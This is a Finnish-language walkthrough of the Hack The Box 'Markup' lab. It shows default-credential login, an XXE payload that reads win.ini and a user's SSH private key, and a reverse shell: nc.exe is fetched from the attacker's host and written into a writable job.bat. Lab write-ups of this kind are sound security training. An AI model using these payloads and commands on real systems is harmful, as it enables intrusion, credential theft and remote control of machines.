Hack the Box Starting Point Tier 2: Markup

Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite vastaamaan osoitetta markup.htb

User flag

Kohteen Nmap-skannauksesta huomataan, että kohteessa on avoinna portit 22 (SSH), 80 (HTTP) ja 443 (HTTPS). Nmap-syötteestä havaitaan, että kohde on Windows-kone.

Aukaistu selaimella kohteen osoite. Aukesi kirjautumissivu. Onnistuneesti päästy kirjautumaan sisään käyttäjänä admin ja salasanalla password

Aukesi sivu markup.htb/home.php. Yläpalkissa on klikattavia linkkejä, jotka johtavat alasivuille.

Aukaistu Order-sivu, jossa on kaksi kenttää, joihin voi syöttää tekstiä.

Order-sivulla kirjoitettu Quantity-kenttään: 2 ja Address-kenttään: Test address. Submit painamisen jälkeen siepattu POST-requesti Burb Suitessa. Requestissa huomataan, että kohteessa on käytössä XML versio 1.0.

XML on haavoittuvainen XXE / XEE -hyökkäykselle. Lähde: https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity

Burb Suitessa requesti lähetetty Repeater-välilehdelle. Kokeiltu lukea kohteen tiedostoa c:/windows/win.ini liittämällä requestiin xml-version rivin alle: <!DOCTYPE foo [<!ENTITY test SYSTEM “file:///c:/windows/win.ini”>]>
Entityyn test viitattu <item> alla: &test;

Vastauksesta (response) huomattu, että onnistuneesti saatu luettua win.ini -tiedoston sisältö. Jos kohde olisi Linux-kone, syötettäisiin tiedostopoluksi: /etc/passwd

Tarkasteltu sivun markup.htb/services.php lähdekoodia, ja koodista huomataan teksti: Modified by Daniel

Koska kohteessa on portti 22 (SSH) avoinna, tarkistetaan Burb Suitessa löytyykö käyttäjältä daniel yksityinen RSA-avain hakemistosta: C:\users\daniel\.ssh\id_rsa
Käyttäjän daniel RSA-avain näkyy Burb Suitessa vastauksena.

Avain kopioitu omalle koneelle id_rsa nimiseen tiedostoon.

Lisätty tiedostoon id_rsa lukuoikeudet komennolla chmod 400 id_rsa

Otettu SSH-yhteys kohteeseen käyttäen käyttäjän daniel yksityistä avainta komennolla: ssh -i id_rsa daniel@markup.htb

Onnistuneesti saatu SSH-yhteys kohteeseen käyttäjänä daniel

User flag löytyi hakemistosta C:\Users\daniel\Desktop

Root flag

Hakemistosta C: huomataan normaalista poikkeavat tyhjä tekstitiedosto Recovery.txt ja kansio Log-Management

Log-Management kansiosta löydetty tiedosto job.bat

Huomataan, että tiedosto job.bat voidaan suorittaa vain Administrator-käyttäjänä, ja syötteestä havaitaan, että tiedoston tarkoituksena on tyhjentää lokitiedostot. Syötteessä on mainittu wevtutil.exe -tiedosto, jonka tarkoituksena on kerätä tietoa tapahtumalokeista (lähde).

Komennolla icacls tarkistettu millä ryhmillä on oikeudet tiedostoon job.bat
Huomataan, että ryhmällä BUILTIN\Users on tiedostoon täydet oikeudet (F).

Reverse Shellin muodostamista varten kopioitu nc.exe tiedosto hakemistoon, jossa käynnistetään Python HTTP-palvelin.

Käynnistetty Python HTTP-palvelin hakemistossa, jossa nc.exe -tiedosto sijaitsee komennolla: sudo python3 -m http.server 80

Kohtessa PowerShellin avulla ladattu hyökkäyskoneesta nc.exe -tiedosto komennolla: wget http://your_tun0_ip/nc.exe -outfile nc.exe

Python HTTP-palvelimelta huomataan, että tiedostonsiirto onnistui kohteeseen (10.129.95.192).

Hyökkäyskoneessa käynnistetty Netcat-kuuntelija porttiin 4444 komennolla: sudo nc -lvnp 4444

Kohteessa vaihdettu PowerShellista komentokehotteeseen, ja muokattu tiedoston job.bat sisällöksi: C:\Log-Management\nc.exe -e cmd.exe 10.10.14.42 4444
Komennolla: echo C:\Log-Management\nc.exe -e cmd.exe {your_IP} {port} > C:\Log-Management\job.bat

Huom. komento echo ei toimi PowerShellissa, ja komentoa suorittaessa täytyy olla hakemistossa C:\Log-Management

Onnistuneesti saatu Reverse Shell Administrator-käyttäjänä terminaalissa, jossa Netcat-kuuntelija oli aktiivinen.

Root flag löytyi hakemistosta C:\Users\Administrator\Desktop